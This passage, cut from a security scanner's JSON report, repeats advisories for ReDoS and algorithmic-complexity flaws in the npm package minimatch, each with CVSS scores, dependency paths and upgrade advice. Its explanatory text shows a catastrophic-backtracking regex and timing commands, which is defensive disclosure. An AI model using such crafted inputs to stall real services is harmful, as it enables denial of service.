ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service 